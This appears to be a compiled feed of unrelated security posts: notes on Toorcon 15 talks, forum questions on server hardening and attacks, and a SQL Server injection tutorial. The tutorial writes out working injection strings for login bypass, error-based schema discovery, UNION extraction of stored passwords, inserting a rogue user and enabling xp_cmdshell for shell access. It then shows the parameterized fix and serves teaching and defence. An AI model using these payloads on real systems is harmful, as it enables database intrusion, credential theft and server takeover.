  The Toorcon gang (senior staff): h1kari (founder), nfiltr8, and Geo Introduction to Toorcon 15 (2013) A Tale of One Software Bypass of MS Windows 8 Secure Boot Breaching SSL, One Byte at a Time Running at 99%: Surviving an Application DoS Security Response in the Age of Mass Customized Attacks x86 Rewriting: Defeating RoP and other Shinanighans Clowntown Express: interesting bugs and running a bug bounty program Active Fingerprinting of Encrypted VPNs Making Attacks Go Backwards Mask Your Checksums—The Gorry Details Adventures with weird machines thirty years after "Reflections on Trusting Trust" Introduction to Toorcon 15 (2013) Toorcon 15 is the 15th annual security conference held in San Diego. I've attended about a third of them and blogged about previous conferences I attended here starting in 2003. As always, I've only summarized the talks I attended and interested me enough to write about them. Be aware that I may have misrepresented the speaker's remarks and that they are not my remarks or opinion, or those of my employer, so don't quote me or them. Those seeking further details may contact the speakers directly or use The Google. For some talks, I have a URL for further information. A Tale of One Software Bypass of MS Windows 8 Secure Boot Andrew Furtak and Oleksandr Bazhaniuk Yuri Bulygin, Oleksandr ("Alex") Bazhaniuk, and (not present) Andrew Furtak Yuri and Alex talked about UEFI and Bootkits and bypassing MS Windows 8 Secure Boot, with vendor recommendations. They previously gave this talk at the BlackHat 2013 conference. MS Windows 8 Secure Boot Overview UEFI (Unified Extensible Firmware Interface) is interface between hardware and OS. UEFI is processor and architecture independent. Malware can replace bootloader (bootx64.efi, bootmgfw.efi). Once replaced can modify kernel. Trivial to replace bootloader. Today many legacy bootkits—UEFI replaces them most of them. MS Windows 8 Secure Boot verifies everything you load, either through signatures or hashes. UEFI firmware relies on secure update (with signed update). You would think Secure Boot would rely on ROM (such as used for phones0, but you can't do that for PCs—PCs use writable memory with signatures DXE core verifies the UEFI boat loader(s) OS Loader (winload.efi, winresume.efi) verifies the OS kernel A chain of trust is established with a root key (Platform Key, PK), which is a cert belonging to the platform vendor. Key Exchange Keys (KEKs) verify an "authorized" database (db), and "forbidden" database (dbx). X.509 certs with SHA-1/SHA-256 hashes. Keys are stored in non-volatile (NV) flash-based NVRAM. Boot Services (BS) allow adding/deleting keys (can't be accessed once OS starts—which uses Run-Time (RT)). Root cert uses RSA-2048 public keys and PKCS#7 format signatures. SecureBoot — enable disable image signature checks SetupMode — update keys, self-signed keys, and secure boot variables CustomMode — allows updating keys Secure Boot policy settings are: always execute, never execute, allow execute on security violation, defer execute on security violation, deny execute on security violation, query user on security violation Attacking MS Windows 8 Secure Boot Secure Boot does NOT protect from physical access. Can disable from console. Each BIOS vendor implements Secure Boot differently. There are several platform and BIOS vendors. It becomes a "zoo" of implementations—which can be taken advantage of. Secure Boot is secure only when all vendors implement it correctly. Allow only UEFI firmware signed updates protect UEFI firmware from direct modification in flash memory protect FW update components program SPI controller securely protect secure boot policy settings in nvram protect runtime api disable compatibility support module which allows unsigned legacy Can corrupt the Platform Key (PK) EFI root certificate variable in SPI flash. If PK is not found, FW enters setup mode wich secure boot turned off. Can also exploit TPM in a similar manner. One is not supposed to be able to directly modify the PK in SPI flash from the OS though. But they found a bug that they can exploit from User Mode (undisclosed) and demoed the exploit. It loaded and ran their own bootkit. The exploit requires a reboot. Multiple vendors are vulnerable. They will disclose this exploit to vendors in the future. Recommendations: allow only signed updates protect UEFI fw in ROM protect EFI variable store in ROM Breaching SSL, One Byte at a Time Yoel Gluck and Angelo Prado Angelo Prado and Yoel Gluck, Salesforce.com CRIME is software that performs a "compression oracle attack." This is possible because the SSL protocol doesn't hide length, and because SSL compresses the header. CRIME requests with every possible character and measures the ciphertext length. Look for the plaintext which compresses the most and looks for the cookie one byte-at-a-time. SSL Compression uses LZ77 to reduce redundancy. Huffman coding replaces common byte sequences with shorter codes. US CERT thinks the SSL compression problem is fixed, but it isn't. They convinced CERT that it wasn't fixed and they issued a CVE. BREACH, breachattrack.com BREACH exploits the SSL response body (Accept-Encoding response, Content-Encoding). It takes advantage of the fact that the response is not compressed. BREACH uses gzip and needs fairly "stable" pages that are static for ~30 seconds. It needs attacker-supplied content (say from a web form or added to a URL parameter). BREACH listens to a session's requests and responses, then inserts extra requests and responses. Eventually, BREACH guesses a session's secret key. Can use compression to guess contents one byte at-a-time. For example, "Supersecret SupersecreX" (a wrong guess) compresses 10 bytes, and "Supersecret Supersecret" (a correct guess) compresses 11 bytes, so it can find each character by guessing every character. To start the guess, BREACH needs at least three known initial characters in the response sequence. Compression length then "leaks" information. Some roadblocks include no winners (all guesses wrong) or too many winners (multiple possibilities that compress the same). The solutions include: lookahead (guess 2 or 3 characters at-a-time instead of 1 character). Expensive rollback to last known conflict check compression ratio can brute-force first 3 "bootstrap" characters, if needed (expensive) block ciphers hide exact plain text length. Solution is to align response in advance to block size Mitigations length: use variable padding secrets: dynamic CSRF tokens per request secret: change over time separate secret to input-less servlets Future work eiter understand DEFLATE/GZIP HTTPS extensions Running at 99%: Surviving an Application DoS Ryan Huber Ryan Huber, Risk I/O Ryan first discussed various ways to do a denial of service (DoS) attack against web services. One usual method is to find a slow web page and do several wgets. Or download large files. Apache is not well suited at handling a large number of connections, but one can put something in front of it Can use Apache alternatives, such as nginx How to identify malicious hosts short, sudden web requests user-agent is obvious (curl, python) same url requested repeatedly no web page referer (not normal) hidden links. hide a link and see if a bot gets it restricted access if not your geo IP (unless the website is global) missing common headers in request regular timing first seen IP at beginning of attack count requests per hosts (usually a very large number) Use of captcha can mitigate attacks, but you'll lose a lot of genuine users. Bouncer, goo.gl/c2vyEc and www.github.com/rawdigits/Bouncer Bouncer is software written by Ryan in netflow. Bouncer has a small, unobtrusive footprint and detects DoS attempts. It closes blacklisted sockets immediately (not nice about it, no proper close connection). Aggregator collects requests and controls your web proxies. Need NTP on the front end web servers for clean data for use by bouncer. Bouncer is also useful for a popularity storm ("Slashdotting") and scraper storms. Future features: gzip collection data, documentation, consumer library, multitask, logging destroyed connections. Takeaways: DoS mitigation is easier with a complete picture Bouncer designed to make it easier to detect and defend DoS—not a complete cure Security Response in the Age of Mass Customized Attacks Peleus Uhley and Karthik Raman Peleus Uhley and Karthik Raman, Adobe ASSET, blogs.adobe.com/asset/ Peleus and Karthik talked about response to mass-customized exploits. Attackers behave much like a business. "Mass customization" refers to concept discussed in the book Future Perfect by Stan Davis of Harvard Business School. Mass customization is differentiating a product for an individual customer, but at a mass production price. For example, the same individual with a debit card receives basically the same customized ATM experience around the world. Or designing your own PC from commodity parts. Exploit kits are another example of mass customization. The kits support multiple browsers and plugins, allows new modules. Exploit kits are cheap and customizable. Organized gangs use exploit kits. A group at Berkeley looked at 77,000 malicious websites (Grier et al., "Manufacturing Compromise: The Emergence of Exploit-as-a-Service", 2012). They found 10,000 distinct binaries among them, but derived from only a dozen or so exploit kits. Characteristics of Mass Malware: potent, resilient, relatively low cost Technical characteristics: multiple OS, multipe payloads, multiple scenarios, multiple languages, obfuscation Response time for 0-day exploits has gone down from ~40 days 5 years ago to about ~10 days now. So the drive with malware is towards mass customized exploits, to avoid detection There's plenty of evicence that exploit development has Project Manager bureaucracy. They infer from the malware edicts to: support all versions of reader support all versions of windows support all versions of flash support all browsers write large complex, difficult to main code (8750 lines of JavaScript for example Exploits have "loose coupling" of multipe versions of software (adobe), OS, and browser. This allows specific attacks against specific versions of multiple pieces of software. Also allows exploits of more obscure software/OS/browsers and obscure versions. Gave examples of exploits that exploited 2, 3, 6, or 14 separate bugs. However, these complete exploits are more likely to be buggy or fragile in themselves and easier to defeat. Future research includes normalizing malware and Javascript. Conclusion: The coming trend is that mass-malware with mass zero-day attacks will result in mass customization of attacks. x86 Rewriting: Defeating RoP and other Shinanighans Richard Wartell Richard Wartell The attack vector we are addressing here is: First some malware causes a buffer overflow. The malware has no program access, but input access and buffer overflow code onto stack Later the stack became non-executable. The workaround malware used was to write a bogus return address to the stack jumping to malware Later came ASLR (Address Space Layout Randomization) to randomize memory layout and make addresses non-deterministic. The workaround malware used was to jump t existing code segments in the program that can be used in bad ways "RoP" is Return-oriented Programming attacks. RoP attacks use your own code and write return address on stack to (existing) expoitable code found in program ("gadgets"). Pinkie Pie was paid $60K last year for a RoP attack. One solution is using anti-RoP compilers that compile source code with NO return instructions. ASLR does not randomize address space, just "gadgets". IPR/ILR ("Instruction Location Randomization") randomizes each instruction with a virtual machine. Richard's goal was to randomize a binary with no source code access. He created "STIR" (Self-Transofrming Instruction Relocation). STIR disassembles binary and operates on "basic blocks" of code. The STIR disassembler is conservative in what to disassemble. Each basic block is moved to a random location in memory. Next, STIR writes new code sections with copies of "basic blocks" of code in randomized locations. The old code is copied and rewritten with jumps to new code. the original code sections in the file is marked non-executible. STIR has better entropy than ASLR in location of code. Makes brute force attacks much harder. STIR runs on MS Windows (PEM) and Linux (ELF). It eliminated 99.96% or more "gadgets" (i.e., moved the address). Overhead usually 5-10% on MS Windows, about 1.5-4% on Linux (but some code actually runs faster!). The unique thing about STIR is it requires no source access and the modified binary fully works! Current work is to rewrite code to enforce security policies. For example, don't create a *.{exe,msi,bat} file. Or don't connect to the network after reading from the disk. Clowntown Express: interesting bugs and running a bug bounty program Collin Greene Collin Greene, Facebook Collin talked about Facebook's bug bounty program. Background at FB: FB has good security frameworks, such as security teams, external audits, and cc'ing on diffs. But there's lots of "deep, dark, forgotten" parts of legacy FB code. Collin gave several examples of bountied bugs. Some bounty submissions were on software purchased from a third-party (but bounty claimers don't know and don't care). We use security questions, as does everyone else, but they are basically insecure (often easily discoverable). Collin didn't expect many bugs from the bounty program, but they ended getting 20+ good bugs in first 24 hours and good submissions continue to come in. Bug bounties bring people in with different perspectives, and are paid only for success. Bug bounty is a better use of a fixed amount of time and money versus just code review or static code analysis. The Bounty program started July 2011 and paid out $1.5 million to date. 14% of the submissions have been high priority problems that needed to be fixed immediately. The best bugs come from a small % of submitters (as with everything else)—the top paid submitters are paid 6 figures a year. Spammers like to backstab competitors. The youngest sumitter was 13. Some submitters have been hired. Bug bounties also allows to see bugs that were missed by tools or reviews, allowing improvement in the process. Bug bounties might not work for traditional software companies where the product has release cycle or is not on Internet. Active Fingerprinting of Encrypted VPNs Anna Shubina Anna Shubina, Dartmouth Institute for Security, Technology, and Society (I missed the start of her talk because another track went overtime. But I have the DVD of the talk, so I'll expand later) IPsec leaves fingerprints. Using netcat, one can easily visually distinguish various crypto chaining modes just from packet timing on a chart (example, DES-CBC versus AES-CBC) One can tell a lot about VPNs just from ping roundtrips (such as what router is used) Delayed packets are not informative about a network, especially if far away from the network More needed to explore about how TCP works in real life with respect to timing Making Attacks Go Backwards Fuzzynop FuzzyNop, Mandiant This talk is not about threat attribution (finding who), product solutions, politics, or sales pitches. But who are making these malware threats? It's not a single person or group—they have diverse skill levels. There's a lot of fat-fingered fumblers out there. Always look for low-hanging fruit first: "hiding" malware in the temp, recycle, or root directories creation of unnamed scheduled tasks obvious names of files and syscalls ("ClearEventLog") uncleared event logs. Clearing event log in itself, and time of clearing, is a red flag and good first clue to look for on a suspect system Reverse engineering is hard. Disassembler use takes practice and skill. A popular tool is IDA Pro, but it takes multiple interactive iterations to get a clean disassembly. Key loggers are used a lot in targeted attacks. They are typically custom code or built in a backdoor. A big tip-off is that non-printable characters need to be printed out (such as "[Ctrl]" "[RightShift]") or time stamp printf strings. Look for these in files. Presence is not proof they are used. Absence is not proof they are not used. Java exploits. Can parse jar file with idxparser.py and decomile Java file. Java typially used to target tech companies. Backdoors are the main persistence mechanism (provided externally) for malware. Also malware typically needs command and control. Application of Artificial Intelligence in Ad-Hoc Static Code Analysis John Ashaman John Ashaman, Security Innovation Initially John tried to analyze open source files with open source static analysis tools, but these showed thousands of false positives. Also tried using grep, but tis fails to find anything even mildly complex. So next John decided to write his own tool. His approach was to first generate a call graph then analyze the graph. However, the problem is that making a call graph is really hard. For example, one problem is "evil" coding techniques, such as passing function pointer. First the tool generated an Abstract Syntax Tree (AST) with the nodes created from method declarations and edges created from method use. Then the tool generated a control flow graph with the goal to find a path through the AST (a maze) from source to sink. The algorithm is to look at adjacent nodes to see if any are "scary" (a vulnerability), using heuristics for search order. The tool, called "Scat" (Static Code Analysis Tool), currently looks for C# vulnerabilities and some simple PHP. Later, he plans to add more PHP, then JSP and Java. For more information see his posts in Security Innovation blog and NRefactory on GitHub. Mask Your Checksums—The Gorry Details Eric (XlogicX) Davisson Eric (XlogicX) Davisson Sometimes in emailing or posting TCP/IP packets to analyze problems, you may want to mask the IP address. But to do this correctly, you need to mask the checksum too, or you'll leak information about the IP. Problem reports found in stackoverflow.com, sans.org, and pastebin.org are usually not masked, but a few companies do care. If only the IP is masked, the IP may be guessed from checksum (that is, it leaks data). Other parts of packet may leak more data about the IP. TCP and IP checksums both refer to the same data, so can get more bits of information out of using both checksums than just using one checksum. Also, one can usually determine the OS from the TTL field and ports in a packet header. If we get hundreds of possible results (16x each masked nibble that is unknown), one can do other things to narrow the results, such as look at packet contents for domain or geo information. With hundreds of results, can import as CSV format into a spreadsheet. Can corelate with geo data and see where each possibility is located. Eric then demoed a real email report with a masked IP packet attached. Was able to find the exact IP address, given the geo and university of the sender. Point is if you're going to mask a packet, do it right. Eric wouldn't usually bother, but do it correctly if at all, to not create a false impression of security. Adventures with weird machines thirty years after "Reflections on Trusting Trust" Sergey Bratus Sergey Bratus, Dartmouth College (and Julian Bangert and Rebecca Shapiro, not present) "Reflections on Trusting Trust" refers to Ken Thompson's classic 1984 paper. "You can't trust code that you did not totally create yourself." There's invisible links in the chain-of-trust, such as "well-installed microcode bugs" or in the compiler, and other planted bugs. Thompson showed how a compiler can introduce and propagate bugs in unmodified source. But suppose if there's no bugs and you trust the author, can you trust the code? Hell No! There's too many factors—it's Babylonian in nature. Why not? Well, Input is not well-defined/recognized (code's assumptions about "checked" input will be violated (bug/vunerabiliy). For example, HTML is recursive, but Regex checking is not recursive. Input well-formed but so complex there's no telling what it does For example, ELF file parsing is complex and has multiple ways of parsing. Input is seen differently by different pieces of program or toolchain Any Input is a program input executes on input handlers (drives state changes & transitions) only a well-defined execution model can be trusted (regex/DFA, PDA, CFG) Input handler either is a "recognizer" for the inputs as a well-defined language (see langsec.org) or it's a "virtual machine" for inputs to drive into pwn-age ELF ABI (UNIX/Linux executible file format) case study. Problems can arise from these steps (without planting bugs): compiler linker loader ld.so/rtld relocator DWARF (debugger info) exceptions The problem is you can't really automatically analyze code (it's the "halting problem" and undecidable). Only solution is to freeze code and sign it. But you can't freeze everything! Can't freeze ASLR or loading—must have tables and metadata. Any sufficiently complex input data is the same as VM byte code Example, ELF relocation entries + dynamic symbols == a Turing Complete Machine (TM). @bxsays created a Turing machine in Linux from relocation data (not code) in an ELF file. For more information, see Rebecca "bx" Shapiro's presentation from last year's Toorcon, "Programming Weird Machines with ELF Metadata" @bxsays did same thing with Mach-O bytecode Or a DWARF exception handling data .eh_frame + glibc == Turning Machine X86 MMU (IDT, GDT, TSS): used address translation to create a Turning Machine. Page handler reads and writes (on page fault) memory. Uses a page table, which can be used as Turning Machine byte code. Example on Github using this TM that will fly a glider across the screen Next Sergey talked about "Parser Differentials". That having one input format, but two parsers, will create confusion and opportunity for exploitation. For example, CSRs are parsed during creation by cert requestor and again by another parser at the CA. Another example is ELF—several parsers in OS tool chain, which are all different. Can have two different Program Headers (PHDRs) because ld.so parses multiple PHDRs. The second PHDR can completely transform the executable. This is described in paper in the first issue of International Journal of PoC. Conclusions trusting computers not only about bugs! Bugs are part of a problem, but no by far all of it complex data formats means bugs no "chain of trust" in Babylon! (that is, with parser differentials) we need to squeeze complexity out of data until data stops being "code equivalent" Further information See and langsec.org. USENIX WOOT 2013 (Workshop on Offensive Technologies) for "weird machines" papers and videos.

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• Working with Legacy code #1 : Draw up a plan.

  - by andrewstopford

  Blackfield applications are a minefield, reaking of smells and awash with technical debt. The codebase is a living hell. Your first plan of attack is a plan. Your boss (be that you, your manager, your client or whoever) needs to understand what you are trying to achieve and in what time. Your team needs to know what the plan of attack will be and where. Start with the greatest pain points, what are the biggest areas of technical debt, what takes the most time to work with\change and where are the areas with the higest number of defects. Work out what classes\functions are mud balls and where all the hard dependencies are. In working out the pain points you will begin to understand structure (or lack of) and where the fundmentals are. If know one in the team knows an area then profile it, understand what lengths the code is going to.  When your done drawing up the list then work out what the common problems are, is the code hard tied to the database, file system or some other hard dependency. Is the code repeating it's self in structure\form over and over etc. From the list work out what are the areas with the biggest number of problems and make those your starting point. Now you have a plan of what needs to change and where then you can work out how it fits into your development plan. Manage your plan, put it into a defect tracker, work item tracker or use notepad or excel etc. Mark off the items on your plan as and when you have attacked them, if you find more items then get them on your plan, keep the movement going and slowly the codebase will become better and better.

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• Server Security

  - by mahatmanich

  I want to run my own root server (directly accessible from the web without a hardware firewall) with debian lenny, apache2, php5, mysql, postfix MTA, sftp (based on ssh) and maybe dns server. What measures/software would you recomend, and why, to secure this server down and minimalize the attack vector? Webapplications aside ... This is what I have so far: iptables (for gen. packet filtering) fail2ban (brute force attack defense) ssh (chang default, port disable root access) modsecurity - is really clumsy and a pain (any alternative here?) ?Sudo why should I use it? what is the advantage to normal user handling thinking about greensql for mysql www.greensql.net is tripwire worth looking at? snort? What am I missing? What is hot and what is not? Best practices? I like "KISS" - Keep it simple secure, I know it would be nice! Thanks in advance ...

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• SQL Server SQL Injection from start to end

  - by Mladen Prajdic

  SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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• DNS Server Spoofed Request Amplification DDoS - Prevention

  - by Shackrock

  I've been conducting security scans, and a new one popped up for me: DNS Server Spoofed Request Amplification DDoS The remote DNS server answers to any request. It is possible to query the name servers (NS) of the root zone ('.') and get an answer which is bigger than the original request. By spoofing the source IP address, a remote attacker can leverage this 'amplification' to launch a denial of service attack against a third-party host using the remote DNS server. General Solution: Restrict access to your DNS server from public network or reconfigure it to reject such queries. I'm hosting my own DNS for my website. I'm not sure what the solution is here... I'm really looking for some concrete detailed steps to patch this, but haven't found any yet. Any ideas? CentOS5 with WHM and CPanel. Also see: http://securitytnt.com/dns-amplification-attack/

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• It's Not TV- It's OTN: Top 10 Videos on the OTN YouTube Channel

  - by Bob Rhubart

  It's been a while since we checked in on what people are watching on the Oracle Technology Network YouTube Channel. Here are the Top 10 video for the last 30 days. Tom Kyte: Keeping Up with the Latest in Database Technology Tom Kyte expands on his keynote presentation at the Great Lakes Oracle Conference with tips for developers, DBAs and others who want to make sure they are prepared to work with the latest database technologies. That Jeff Smith: Oracle SQL Developer Oracle SQL Developer product manager Jeff Smith (yeah, that Jeff Smith) talks about his presentations at the Great Lakes Oracle Conference and shares his reaction to keynote speaker C.J. Date's claim that "SQL dropped the ball." Gwen Shapira: Hadoop and Oracle Database Oracle ACE Director Gwen Shapira @gwenshap talks about the fit between Hadoop and Oracle Database and dives into the details of why Oracle Loader for Hadoop is 5x faster. Kai Yu: Virtualization and Cloud Oracle ACE Director Kai Yu talks about the questions he is most frequently asked when he does presentations on cloud computing and virtualization. Mark Sewtz: APEX 4.2 Mobile App Development Application Express developer Marc Sewtz demos the new features he built into APEX4.2 to support Mobile App Development. Jeremy Schneider: RAC Attack Oracle ACE Jeremy Schneider @jer_s describes what you can expect when you come to a RAC (Real Application Cluster) Attack. Frits Hoogland: Exadata Under the Hood Oracle ACE Director Frits Hoogland (@fritshoogland) talks about the secret sauce under Exadata's hood. David Peake: APEX 4.2 New Features David Peake, PM for Oracle Application Express, gives a quick overview of some of the new APEX features. Greg Marsden: Hugepages = Huge Performance on Linux Greg Marsden of Oracle's Linux Kernel Engineering Team talks about some common customer performance questions and making the most of Oracle Linux 6 and Transparent HugePages. John Hurley: NEOOUG and GLOC 2013 Northeast Ohio Oracle User Group president John Hurley talks about the background and success of the 2013 Great Lakes Oracle Conference.

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• What response should be made to a continued web-app crack attempt?

  - by Tchalvak

  I've issues with a continuous, concerted cracking attempt on a website (coded in php). The main problem is sql-injection attempts, running on a Debian server. A secondary effect of the problem is being spidered or repeatedly spammed with urls that, though a security hole has been closed, are still obviously related attempts to crack the site, and continue to add load to the site, and thus should be blocked. So what measures can I take to: A: Block known intruders/known attack machines (notably making themselves anonymous via botnet or relaying servers) to prevent their repeated, continuous, timed access from affecting the load of the site, and B: report & respond to the attack (I'm aware that the reporting to law enforcement is almost certainly futile, as may be reporting to the ip/machine where the attacks are originating, but other responses to take would be welcome).

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• Bot strategy in an arena

  - by joulesm

